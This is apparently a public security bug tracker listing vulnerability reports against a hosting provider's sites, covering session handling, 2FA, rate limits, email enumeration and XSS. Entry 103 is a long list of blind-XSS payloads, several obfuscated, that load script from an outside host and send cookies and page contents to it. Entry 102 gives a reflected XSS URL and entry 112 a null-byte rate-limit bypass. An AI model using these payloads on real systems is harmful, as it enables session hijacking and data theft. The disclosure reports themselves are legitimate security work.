|
123 | Direct accessing Api on another Browser | Closed | 10.01.2025 |
Task Description
Direct accessing Api on another Browser.
Hello Team, I hope you are doing well. Well, researching in your domain I found Direct accessing Api on another Browser, steps are given below:
Steps to Reproduce:
1.Go to https://admin.alwaysdata.com/ and login into your account. 2 Go to Profile Section and create your token. 3.Then, go to https://api.alwaysdata.com/v1/account/ and sign in into your account. 4.Copy your login account Url and paste it into another browser, you can see that you can direct accessing the account without sign in the account.
Impact:
Create another session into another browser for accessing the account, If attacker gain the victim session or laptop access, so he/she can directly access the victim Api account in https://api.alwaysdata.com/v1/account/ .
#Note:
I deleted all the cookies from the browser, after that I visit in https://api.alwaysdata.com/v1/doc so I can directly accessing the account without sign in again.
Thank You,
Waleed Anwar
|
|
122 | .git folder exposed at https://security.alwaysdata.com/ ... | Closed | 08.01.2025 |
Task Description
https://security.alwaysdata.com/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://github.com/flyspray/flyspray.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
https://security.alwaysdata.com/.gitignore
flyspray.conf.php
img/veloz.png
attachments/*
/.idea/
/nbproject/*
vendor/*
composer.lock
composer.phar
/_site/
.htaccess
*.PHPEditProject
/avatars/*
/lang/*.php.bak
/lang/*.php.safe
.vscode/*
!.vscode/settings.json
!.vscode/tasks.json
!.vscode/launch.json
!.vscode/extensions.json
https://security.alwaysdata.com/.git/logs/HEAD
0000000000000000000000000000000000000000 58bea729f4359a45f69aaba274bb2a931155b427 Cyril Baÿ 1704809861 +0100 clone: from https://github.com/flyspray/flyspray.git
.gitignore
.travis.yml
LICENSE
README.md
SECURITY.md
includes/.htaccess
cache/index.html
fonts/index.html
caddy.dist
composer.json
...
...
themes/CleanFS/templates/reports.tpl
themes/CleanFS/templates/roadmap.text.tpl
themes/CleanFS/templates/roadmap.tpl
themes/CleanFS/templates/shortcuts.tpl
themes/CleanFS/templates/toplevel.tpl
themes/CleanFS/theme.css
themes/CleanFS/theme_print.css
themes/CleanFS/typography.css
themes/CleanFS/up.png
vendor/.htaccess
Conclusion
Git index allows accessing the files list and source code through .git/objects/
You can see the top of the list of files above
I haven't accessed those files' content because it's not necessary for the report according to the Responsible * Disclosure policy.
My assumption is that some of those files contain sensitive information, which can be used to escalate vulnerability.
Resolving suggestions
Remove access to the .git folder from the web, e.g. in webserver config or using .htaccess file
Review repository content considering all data compromised because it has been available in public for a while.
|
|
121 | Bypass the Session Expiration in admin.alwaysdata.com | Closed | 08.01.2025 |
Task Description
Bypass the Session Expiration in admin.alwaysdata.com
Hello Team, I hope you are doing well, while I found Bypass the Session Expiration in admin.alwaysdata.com bug steps are given below:
Steps To Reproduce:
1.Logged into the website on both of mobile phone and a laptop. 2.Then go to https://admin.alwaysdata.com/support/?status=open&status=unread in mobile phone and open a ticket to just for test.
3.Fill the form and upload any thing you just want. 4. Turned Off Wifi or mobile data in your mobile phone and click on submit button and you see that no internet connection occurs in mobile phone web browser.
5. Logout from admin.alwaysdata.com in your laptop. 6. After that, Turned On Wifi or mobile data in your mobile phone and refresh the page in the web browser of your mobile phone and you can see that you are still login in the account while session was expired from the laptop and session was bypassed in the mobile pone browser.
#Note: I tested in hackerone and portswigger website they don't have this kind of bug, their session are out while someone can logout from their account in the laptop of Pc.
Thank You,
Waleed Anwar
|
|
120 | Authentication Bypass - 2FA Bypass: Account Lockout Wit ... | Closed | 30.12.2024 |
Task Description
Summary:
During testing, I discovered that the 2FA (Two-Factor Authentication) feature can be abused to block legitimate users from registering on the platform. This vulnerability arises because the application allows users to update their email addresses without disabling 2FA. When users update their email while 2FA is enabled, the application requires the 2FA code to log in with the new email. An attacker can exploit this flaw by registering an account using his email, enabling 2FA, and then updating the account's email to the victim's. This process effectively locks the victim out of their email address and prevents them from registering to the platform.
Steps to Reproduce:
-
The attacker creates an account using their email address.
the attacker logs in and enables 2FA.
The attacker then updates their email address to the victim's.
If the victim tries to register an account using their email address, they receive an error stating that the email already exists.
If the victim attempts to reset the password using the "Forgot Password" feature:
The victim receives the password reset link and successfully updates their password.
Upon attempting to log in, the application prompts for the 2FA code.
Since the victim cannot access the 2FA code the attacker sets, they cannot log in.
PoC :
https://drive.google.com/file/d/1iKnoKLZXCREeIidrOzvH2SXDNDLPqsLH/view?usp=sharing
Impact
This behavior effectively locks the victim out of their email address, preventing them from registering or accessing an account on the platform.
|
|
119 | Non-functional 2FA recovery codes | Closed | 30.12.2024 |
Task Description
Non-functional 2FA recovery codes
Hello Team,
I hope you are doing well. While researching in your domain https://admin.alwaysdata.com/ I found that their is Non-Functional 2FA recovery code option in your domain.
The users that had enabled 2FA were not able to recover their accounts in case of a missing phone or authentication device. The issue was caused by improper error handling on the client during account recovery.
You should add a back-up recovery option so user or customer should back-up their account easily.
Thank You,
Waleed Anwar
|
|
118 | Hidden Matomo Tracking Opt-Out Endpoint | Closed | 23.12.2024 |
Task Description
The endpoint is not publicly visible through the application interface but was discovered using search engine dorking techniques.
https://tracker.alwaysdata.com/index.php?module=CoreAdminHome&action=optOut&language=en
Low severity as it doesn't reveal sensitive server info
|
|
117 | Session Fixation on admin.alwaysdata.com | Closed | 16.12.2024 |
Task Description
Session Fixation on admin.alwaysdata.com
Hi Team, I hope you are doing well. While researching in your domain i found Session Fixation vulnerability.
Steps To Reproduce:
Step-1: Open up Firefox & download Cookie Editor Extension on your browser. Step-2: Go to https://admin.alwaysdata.com/login/?next=/ & login with your credentials. Step-3: Click on "Cookie Editor" then, click on "Export cookie" by clicking this we get a cookie copied in clipboard. Step-4: Open another browser or Private tab. Step-5: Go to https://admin.alwaysdata.com/login/?next=/ but don't login. Just simply click on "Cookie editor" & click on "Import cookie" & paste the code which we previously exported. Step-6: After pasting just refresh the page and then scroll down and click on register and after scroll down again and click on Already registered?Login and you can see you logged in into the account.
Impact: A successful session fixation attack gives the attacker access to the victim's account. This could mean access to higher level privileges or the ability to look at sensitive data.
Note: Attacker can use a link or create a login page and send to the user by social media or anyother way for hijacking the session.
Thank You,
Waleed Anwar
|
|
116 | Blind SSRF and Open Redirection in Comment Section | Closed | 10.12.2024 |
Task Description
Hello Team, I hope you are doing well, while researching in your domain i found Blind SSRF and Open Redirection in Comment Section.
Steps:
1.https://blog.alwaysdata.com/2018/09/20/teaching-program-for-better-it-courses/comment-page-1/ 2. Fill the form and add evil.com or your burp Collab in Website Field. 3.Then Click on Post Comment to post your comment in website.
You can see your comment is posted in the website, when you click on the username in the post it will redirect you in the attacker website or in burp collab you get dns and http responses.
Attacker can host your malicious website in comment section to redirect a user in their website for stealing stuffs etc.
#Note:
It can also vulnerable for clickjacking.
Thank You,
Waleed Anwar
|
|
115 | Credit Card Validation not occurring while signup throu ... | Closed | 04.12.2024 |
Task Description
Hello Team, I hope you are doing well. I found Credit Card Validation error in your domain.
Steps:
1: Go to https://www.alwaysdata.com/en/register/ and signup for account.
2: Fill the form and Check in Credit Card Validation and Privacy policy.
3:Click on Create my Profile
Note: The Credit Card form not occurred for inputting credit card numbers etc.
Thank you,
Waleed Anwar
|
|
114 | Issue with password change | Closed | 04.12.2024 |
Task Description
Issue with password change
Hello Team, i hope you are doing well. While, researching in your domain, i found issue with password change bug.
When a password is changed in user's profile, then a notification about password change is sent to the user (email). However, user not always gets a notification about password change - when a password is changed via password reset link, then such a notification is not send to the user. In your domain notification not sent to user, when he/she change the password in profile setting and with reset password.
Note:
Second time i am reporting this issue to you, please make a test account and do that thing in your end so you clearly understand about it.
Thank You,
Waleed Anwar
|
|
113 | Subscription is not transferred before deleting the pro ... | Closed | 04.12.2024 |
Task Description
Hello Team,
I hope you are doing well. While Researching in your domain, I found Subscription not transferred error in your domain.
#Steps to Reproduce:
1: Create profile in "https://www.alwaysdata.com" of owner. 2: Go to "https://admin.alwaysdata.com/Subscription" and open a new account and submit your subscription whatever you want.
3: Then go to "https://admin.alwaysdata.com/permission" and add a user then submit your permission your permission to the user.
4:Again go to "https://admin.alwaysdata.com/Subscription" and click on transfer to another user button to transfer the subscription to the user and then click submit button.
5: Then go to "https://admin.alwaysdata.com/details" and click on Delete this profile button to delete the profile of owner and click on submit button.
Owner assume that he/she transferred the subscription to the user but unfortunately it was not transferred to the user. User only received the notification in their profile and email only of transferred subscription.
Impact:
There is a error of Subscription is not transferred before deleting the profile which may impact to the owner account subscription.
Thank You,
Waleed Anwar
|
|
112 | Bypass rate limiting on reset password (possibly site-w ... | Closed | 27.11.2024 |
Task Description
Hi Team,
I found a rate limit bypass in reset password endpoint.
If we send the following POST:
POST /password/lost/ HTTP/2 Host: admin.alwaysdata.com Cookie: csrftoken=xxxxxxxx………………; django_language=en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://admin.alwaysdata.com/password/lost/ Content-Type: application/x-www-form-urlencoded Content-Length: 113 Origin: https://admin.alwaysdata.com Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Priority: u=0, i Te: trailers
csrfmiddlewaretoken=xxxxxxxxxxxxxxx…………………..&email=example%40gmail.com
Now send the request around ~50 times and it'll hit "Too Many Requests". Now simply add %00 on the end of the email and resend even more password reset emails. &email=example%40gmail.com%00 - and keep adding %00 everytime you are rate limited. After a while you can go back to just %00 as it resets after so long.
No real impact with just mass emailing someone a reset password link, but I thought it was worth reporting because the rate limiting bypass might exist in other areas (with the use of the null byte %00)
Thank You,
Waleed Anwar
|
|
111 | Missing rate limit for current password field (Password ... | Closed | 27.11.2024 |
Task Description
Missing rate limit for current password field (Password Change) Account Takeover:
Vulnerability: Missing Rate Limit for Current Password field (Password Change) Account Takeover Steps to reproduce the bug: 1)Go to Profile > Password. Enter any (wrong password) In old password filed. 2)Now enter the new password and Turn the Intercept ON. 3)Capture the request & Send the request to Intruder and add a Payload Marker on the current password value. 4)Add the payload for the password field having a list of more than 100 password or more for test and start attack. BOOM! Screen shot is attached as a proof of concept. Impact There is no rate limit enabled for "Current Password" field on changing password on your website. A malicious minded user can continually tries to brute force an account password. If user forget to logout account in some public computer then attacker is able to know the correct password, and also able to change the password to new one by inputting large number of payloads.
Thank You,
Waleed Anwar
|
|
110 | Unveiling an IDOR Vulnerability in Email Verification W ... | Closed | 26.11.2024 |
Task Description
Unveiling an IDOR Vulnerability in Email Verification Workflows:
Hello Team, I hope you are doing well. Well, i found a idor vuln in email verification workflow in your doamin.
The Vulnerability 1. Step 1: Create an Account with a Fake Email (Email 1) Like many web services, the platform I was testing does not required users to verify their email addresses upon registration. I created an account using a random, unverified email address, let’s call it email1@example.com.
2. Step 2: Change the Email Address to a New One (Email 2) Next, I went to the account settings and attempted to change the email address to a new one, email2@example.com, without verifying email1@example.com. The system allowed me to enter a new email.
3. Step 3: IDOR Exploitation Here’s where things got interesting. I can use email2@example.com without any verification or any notification which was not sent to that email2@example.com for verification. But due to an IDOR vulnerability, the system skipped this step entirely and automatically considered email2@example.com as verified
This meant that I, as an attacker, could verify someone else’s email (Email 2) that I had no control over, effectively gaining control of that account’s new email without ever needing access to it.
The Impact This IDOR vulnerability presents significant risks, including:
Account Takeover: By exploiting this flaw, an attacker can hijack accounts by swapping the victim’s email with one of their own. Phishing and Fraud: Attackers could use the new email to perform phishing attacks, tricking users into divulging sensitive information. Loss of Control: Users might lose control over their accounts since the new email is verified without their knowledge or consent. Root Cause The root cause of this vulnerability lies in the system’s failure to validate the ownership of the new email address before considering it verified. Once the first email is verified, the system should force a re-verification of any newly entered email addresses to prevent this kind of exploitation.
How to Prevent It Here are a few recommendations to mitigate this type of IDOR vulnerability:
Re-verify New Emails: Ensure that when users attempt to change their email addresses, the new email must be verified before it becomes active. Strict Access Control: Always implement strong access controls to ensure that a user cannot modify objects (in this case, email IDs) they do not own. Thorough Input Validation: Validate user inputs and ensure proper checks for email ownership before performing any sensitive actions. Security Audits: Regularly conduct security audits and penetration testing to identify potential IDOR vulnerabilities and other security flaws.
Thank You,
Waleed Anwar
|
|
109 | Issue with password change | Closed | 26.11.2024 |
Task Description
Issue with password change
Hello Team, i hope you are doing well. While, researching in your domain, i found issue with password change bug.
When a password is changed in user's profile, then a notification about password change is sent to the user (email). However, user not always gets a notification about password change - when a password is changed via password reset link, then such a notification is not send to the user. In your domain notification not sent to user, when he/she change the password in profile setting and with reset password.
Thank You,
Waleed Anwar
|
|
108 | Email Enumeration | Closed | 26.11.2024 |
Task Description
Email Enumeration:
Hello Team, I hope you are doing well. Well, researching on your domain, i found email enumeration in your domain.
Steps:
1.log in admin.alwaysdata.com account go to Profile. 2.choose change my email 3.enter your pass 4.enter any email you want to check 5.if the email isn't registered a message appears saying(the email is changed.) 6.if it is registered the message appearing is( There is already a profile with this email.)
BY automating the process you can easily enumerate users emails . what is the impact : 1.Mass password reset requests to registered users(spam) 2.imagine a new company like alwysdata want to advertise it will easily enumerate emails of alwaysdata and send the customers emails to convince them to join their company and leave circle this may cause you to loose some of your customers(targeted advertising through alwaysdata database) . there are other impact but those are most severe.
Here is the fix: when a user try to assign an email that is already registered to your accounts tell him that (An error has occured)or(we have sent a verification email to your email address)or anything not revealing he is registered to you . Here is the POC: i have carried the attack on sample of 8845 emails to avoid server overload the result is by using burpsuite i can bruteforce the change email feature and enumerate users by the status in intruder attack: 200—>Not registered and can be added 500—>registered and error message 400—> this is invalid email because for example it doesn't have @ sign in it Thank You, Waleed Anwar
|
|
107 | Directory Listing Enabled | Closed | 25.11.2024 |
Task Description
|
|
106 | Bug Report: Broken Access Control on 2FA Leading to Pre ... | Closed | 25.11.2024 |
Task Description
Subject: Misconfiguration in 2FA Implementation Allows Pre-Complete ATO
To: Security Team alwaysdata
Description: The lack of email verification before enabling Two-Factor Authentication (2FA) introduces a critical vulnerability that can facilitate pre-complete Account Takeover (ATO). An attacker can register email addresses resembling critical system accounts (e.g., administrator@alwaysdata.com or support@alwaysdata.com) without any validation. This misconfiguration allows the attacker to appear as legitimate users or administrators by exploiting the following gaps: 1. Email Address Control: The attacker registers administrator@alwaysdata.com (since admin@alwaysdata.com is already in use) or similar critical addresses such as support@alwaysdata.com. This bypass occurs because the application does not verify email ownership before enabling 2FA. 2. Pre-Complete ATO via 2FA: Once the attacker controls the fake email, they enable 2FA. This results in the following: - The email becomes "locked" for the attacker's use. - Real administrators or support users cannot register or regain control of these emails. - Critical accounts, if assumed to be associated with internal roles, are exploited for phishing or denial of service. This oversight compromises account security and can lead to severe operational and reputational risks for alwaysdata.
Steps to Reproduce: 1. Register as a New User: - Create a new account with an email resembling a sensitive system role (e.g., administrator@alwaysdata.com or support@alwaysdata.com). 2. Set Up 2FA on the Account: - Enable Two-Factor Authentication without any email ownership verification. 3. Observe the Impact: - The attacker now controls a seemingly legitimate account. - Real users or employees attempting to register or recover accounts with these emails are blocked. 4. Potential Exploit: - Use the compromised "fake admin" email to trick other users or employees. - Execute phishing attacks or leverage the fake email for social engineering attempts.
Business Impact: 1. Operational Risk: - Legitimate users or employees are unable to access critical accounts (e.g., admin@alwaysdata.com or support@alwaysdata.com). - This could lead to service disruptions and hinder internal workflows. 2. Security Risks: - Attackers can impersonate sensitive roles and deceive users or employees. - Creates opportunities for phishing, fraud, and social engineering attacks. 3. Reputational Damage: - Users and employees may lose trust in alwaysdata due to perceived weak account protection mechanisms. 4. Pre-Complete ATO: - Attacker gains control of accounts with system-level trust (e.g., admin-like emails) without the ability of real users to regain access.
Severity: High
Remediation Steps: 1. Mandate Email Verification: Require all email addresses to be verified during registration and before enabling 2FA. 2. Restrict Critical Email Formats: Disallow registrations with email addresses resembling sensitive roles (e.g., admin, administrator, support). 3. Enforce Ownership Validation: Implement strict validation to ensure that users can only enable 2FA on accounts they genuinely own. 4. Audit Existing Accounts: Identify and rectify any unverified accounts with potentially sensitive email addresses.
Video POC: A detailed demonstration of the exploit steps is attached to this report to illustrate the issue clearly. https://drive.google.com/file/d/17DNkoihfOW7jyMoY_eWMGNiigNY4Zmo7/view?usp=sharing
|
|
105 | open redirect | Closed | 25.11.2024 |
Task Description
https://example.com
|
|
104 | Bug Report: Vulnerability in User Addition Feature Lead ... | Closed | 25.11.2024 |
Task Description
Bug Report: Vulnerability in User Addition Feature Leading to Email Blockage Exploit
Subject: Misconfiguration in User Addition Feature - Enables Permanent Blockage of Employee/User Emails
To: Security Team alwaysdata
Description: The "Add a User" feature in your application has a critical misconfiguration that allows attackers to exploit email handling mechanisms. The vulnerability permits any email address, including sensitive ones like victim@alwaysdata.com or employee@alwaysdata.com, to be registered by an attacker under their account. This issue occurs irrespective of whether the victim is an actual user or employee of alwaysdata. Key Problem: Once an attacker registers email addresses to their account, the application erroneously considers these emails as "already in use." Consequently, legitimate users or employees are unable to: • Register with their own email addresses. • Recover passwords using the "Forgot Password" feature. This creates a significant denial of service for legitimate users, especially for employee emails or those critical to operations.
Steps to Reproduce: 1. Login to the Application: o Attacker logs into their account on alwaysdata. 2. Access the "Add a User" Feature: o Navigate to the "Add a User" section. 3. Add Any Email Address: o Enter any target email (e.g., victim@alwaysdata.com, employee@alwaysdata.com, or database_admin@alwaysdata.com) and add it as a user. 4. Observe the Impact: o The entered email is stored in the database, associating it with the attacker’s account. o Legitimate users or employees attempting to register with their email or recover their account using "Forgot Password" are blocked as their emails are flagged as already registered.
Business Impact: 1. Disruption of Operations: Employees using critical emails (e.g., employee@alwaysdata.com, support@alwaysdata.com) are prevented from accessing the platform. This can halt workflows and damage operational continuity. 2. Customer Impact: Legitimate customers with hijacked email registrations are blocked from using the platform, leading to frustration and loss of trust. 3. Potential Abuse: o Attacker could pre-register a large list of potential or known email addresses (e.g., 100+ victims). o Targeted denial of service campaigns against specific users or employees. 4. Reputational Damage: Affected users may view alwaysdata as insecure and prone to misuse.
Severity: Moderate to High
Remediation Steps: 1. Email Validation: Restrict the registration of emails ending with @alwaysdata.com to prevent abuse of employee addresses. 2. Duplicate Email Handling: Implement a verification mechanism to check if an email is legitimately registered to an account and ensure users can still register or recover their accounts. 3. Audit "Add a User" Logic: Validate and sanitize inputs to avoid unauthorized addition of unrelated or sensitive emails. 4. Email Ownership Verification: Mandate email verification for all newly added users before finalizing their association with an account.
Video POC: A detailed POC has been attached showcasing the reproduction of this bug and its consequences. https://drive.google.com/file/d/1TBi7njRCCsqkHhAEri7viUmyGot1Pyf5/view?usp=sharing
|
|
103 | bxss | Closed | 25.11.2024 |
Task Description
'"><script src=https://xss0r.com/c/sabeesh></script> "><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs6; onerror=eval(atob(this.id))> javascript:eval('var a=document.createElement(\'script\');a.src=\'https://xss0r.com/c/sabeesh\';document.body.appendChild(a)') "><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs6; autofocus> "><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs6;> "><iframe srcdoc="<script>var a=parent.document.createElement("script");a.src="https://xss0r.com/c/sabeesh";parent.document.body.appendChild(a);</script>"> <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "xss0r.com/c/sabeesh");a.send();</script> <script>$.getScript("xss0r.com/c/sabeesh")</script> var a=document.createElement("script");a.src="https://xss0r.com/c/sabeesh";document.body.appendChild(a); '"></Title/</StYle/</TeXtarEa/</ScRipt/</NoScRiPt/</SeLeCt/</OpTiOn/</Svg/''"><svg/onload=javascript:eval(atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmQoYSk7'))
'"><img src=x onerror="eval(atob('dmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTthLnNyYyA9ICdodHRwczovL3hzczByLmNvbS9jL3NhYmVlc2gnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7'))"> "><img src=https://xss0r.com/c/sabeesh onerror=eval(atob(this.src))> '"<img src="https://xss0r.com/c/sabeesh" onerror='this.src="https://xss0r.com/c/sabeesh"'> '"<img src=x onerror='this.src="https://xss0r.com/c/sabeesh"'> '"<img src=x onerror='fetch("https://xss0r.com/c/sabeesh",{method:"POST",body:btoa(document.body.innerHTML),mode:"no-cors"})'> '"<iframe src='javascript:window.location="https://xss0r.com/c/sabeesh"'></iframe> '"<iframe srcdoc='<script>window.location="https://xss0r.com/c/sabeesh"</script>'></iframe> '"<iframe srcdoc='<script>fetch("https://xss0r.com/c/sabeesh",{method:"POST",body:btoa(parent.document.body.innerHTML),mode:"no-cors"})</script>'></iframe> '"<object data='javascript:window.location="https://xss0r.com/c/sabeesh"'></object> <input onfocus='fetch("https://xss0r.com/c/sabeesh",{method:"POST",mode:"no-cors"})' autofocus> '"<script type="text/javascript" src="https://xss0r.com/c/sabeesh"></script> '"<script type="module" src="https://xss0r.com/c/sabeesh"></script> '"<script nomodule src="https://xss0r.com/c/sabeesh"></script> javascript:window.location="https://xss0r.com/c/sabeesh" javascript:fetch("https://xss0r.com/c/sabeesh") –></tiTle></stYle></texTarea></scrIpt>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt> '"<img src="https://xss0r.com/c/sabeesh" onerror="this.src='https://xss0r.com/c/sabeesh'"> '"<svg/onload="window.location.href='https://xss0r.com/c/sabeesh'"> '"<audio src onerror='fetch("https://xss0r.com/c/sabeesh",{method:"POST",mode:"no-cors"})'> '"<script>new Image().src="https://xss0r.com/c/sabeesh"</script> '"<form action="https://xss0r.com/c/sabeesh" method="POST"><input name="data" value=""></form><script>document.forms[0].submit();</script> '"<iframe src="javascript:fetch('https://xss0r.com/c/sabeesh')"></iframe> '"<link rel="stylesheet" href="https://xss0r.com/c/sabeesh" onerror='fetch("https://xss0r.com/c/sabeesh")'> '"<meta http-equiv="refresh" content="0;url=https://xss0r.com/c/sabeesh"> '"<object data="https://xss0r.com/c/sabeesh" onerror='this.data="https://xss0r.com/c/sabeesh"'></object> javascript:fetch("https://xss0r.com/c/sabeesh") '"<svg/onload="fetch('https://xss0r.com/c/sabeesh'"> {constructor.constructor('fetch("https://xss0r.com/c/sabeesh"')()} '"<img src=x onerror="fetch('https://xss0r.com/c/sabeesh')"> '"></script></title></textarea><script src=https://xss0r.com/c/sabeesh></script> '"<svg/onload='var a="fetch";var b="https://xss0r.com/c/sabeesh"; setTimeout(a+"(b)",1000)'> '"<iframe src="javascript:setTimeout('fetch(\"https://xss0r.com/c/sabeesh\")', 1000)"></iframe> '"<form id='xss'><button form='xss' formaction='javascript:fetch("https://xss0r.com/c/sabeesh")'>Click Me</button></form> '/*'/*`/*–></noscript></title></textarea></style></template></noembed></script>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt> '"><img src=x onerror=setTimeout(String.fromCharCode(102,101,116,99,104)+'("https://xss0r.com//sabeesh")', 0)> '"><script>'/*'/*`/*–><svg onload=fetch("https://xss0r.com/c/sabeesh")></script> '"?><svg/onload="fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)"> <img src=x onerror="setTimeout(function(){fetch('https://xss0r.com/c/sabeesh?data='+document.cookie)},10)"> <input autofocus onfocus="fetch('https://xss0r.com/c/sabeesh?token='+document.cookie)"> <iframe src="javascript:void(0)" onload="fetch('https://xss0r.com/c/sabeesh?url='+location.href)"><!–" –> '"></title></textarea></script></style></noscript><script src=https://xss0r.com/c/sabeesh></script> ibrahim'"<script src=https://xss0r.com/c/sabeesh></script> ibro%27%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E –></tiTle></stYle></texTarea></scrIpt>"'><scrIpt src=https://xss0r.com/c/sabeesh></scrIpt> /*'/*`/*–></noscript></title></textarea></style></template></noembed></script>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt> -'"><Svg Src=xss0r.com/c/sabeesh/s OnLoad=import(this.getAttribute('src')+0)> email%5D=zer0_sec+1%22%3E%3Cscript+src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E%40ibro1337%40gmail.com <input onmouseover="fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)"> '"><Svg Src=xss0r.com/c/sabeesh/s OnLoad=import(this.getAttribute('src')+0)> '"><Img Src=xss0r.com/c/sabeesh/x Onload=import(src+0)> '/*\'/*"/*\"/*</Script><Input/AutoFocus/OnFocus=/**/(import(/https:https://xss0r.com/c/sabeesh\00?1=1290/.source))> \"><input autofocus nope="%26quot;x%26quot;" onfocus="frames.location='https://xss0r.com/c/sabeesh?c='+Reflect.get(document,'coo'+'kie')"> \"></script><img src="x" onerror="with(document)body.appendChild(createElement('script')).src='https://xss0r.com/c/sabeesh'"> <p><img src="https://xss0r.com/c/sabeesh" border="0" />–></p> '"></title></textarea></script></style></noscript><script src=https://xss0r.com/c/sabeesh></script> <script>$.getScript("https://xss0r.com/c/sabeesh")</script> ‘;"/></textarea></script><script src=xss0r.com/c/sabeesh> zer0_sec+1%22%3E%3Cscript+src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E%40ibro1337%40gmail.com zer0_sec 1"><script src="https://xss0r.com/c/sabeesh"></script>@ibro1337@gmail.com
ibro1337%40gmail.com%22%3E%3Cscript%20src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E ibro1337@gmail.com"><script src="https://xss0r.com/c/sabeesh"></script> {globalThis.constructor("fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)")()} ibro1337@gmail.com<!–" –><script src=https://xss0r.com/c/sabeesh></script> ibro1337%40gmail.com%22%3E%3Cscript%20src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E ibro1337@gmail.com"><svg onload="fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)"></svg> <iframe src="https://xss0r.com" onload="fetch('https://xss0r.com/c/sabeesh?cookie=' + document.cookie)"></iframe> </script><Iframe SrcDoc="><script src=https://xss0r.com/c/sabeesh></script>"> %3C%2Fscript%3E%3CIframe%20SrcDoc%3D%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E%22%3E %253C%252Fscript%253E%253CIframe%2520SrcDoc%253D%2522%253E%253Cscript%2520src%253Dhttps%253A%252F%252Fxss0r.com%252Fc%252Fsabeesh%253E%253C%252Fscript%253E%2522%253E –></tiTle></stYle></texTarea></scrIpt>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt> –%3E%3C%2FtiTle%3E%3C%2FstYle%3E%3C%2FtexTarea%3E%3C%2FscrIpt%3E%22%2F%2F%27%2F%2F%3E%3CscrIpt%20src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E –%253E%253C%252FtiTle%253E%253C%252FstYle%253E%253C%252FtexTarea%253E%253C%252FscrIpt%253E%2522%252F%252F%2527%252F%252F%253E%253CscrIpt%2520src%253D%2522https%253A%252F%252Fxss0r.com%252Fc%252Fsabeesh%2522%253E%253C%252Fscript%253E javascript:%27%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E '"><script src=https://xss0r.com/c/sabeesh></script><img src=x onerror=fetch('https://xss0r.com/c/sabeesh?c='+document.cookie)> javascript:%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E javascript:%27%22%3E%3Csvg%20onmouseover%3D%22fetch('https://xss0r.com/c/sabeesh?data='+document.cookie)%22%3E%3C%2Fsvg%3E javascript:/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/–><svg/onload=/*<html/*/onmouseover=fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)> javascript:</script></textarea></style></noscript></noembed></script></template><svg/onload=/*fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)/*–><html */ onmouseover=alert()//>
|
|
102 | Reflective Xss | Closed | 25.11.2024 |
Task Description
Hi Team i have found a reflective Xss in your url
http://phppgadmin.alwaysdata.com/phppgadmin/index.php?server=8890
when i use this payload it triggers alert
https://phppgadmin.alwaysdata.com/phppgadmin/index.php?server=%22{text%3a%3Cimg%2fsrc%3dx+onload%3dconfirm(1)%3E}%22
Please reach out to me , My email id is sabeesh.harinarayanan@gmail.com for POC as i am unable to attach here
Regards Sabeesh
|
|
101 | Action Required – credentials for alwaysdata.com Expose ... | Closed | 18.11.2024 |
Task Description
Target:alwaysdata.com
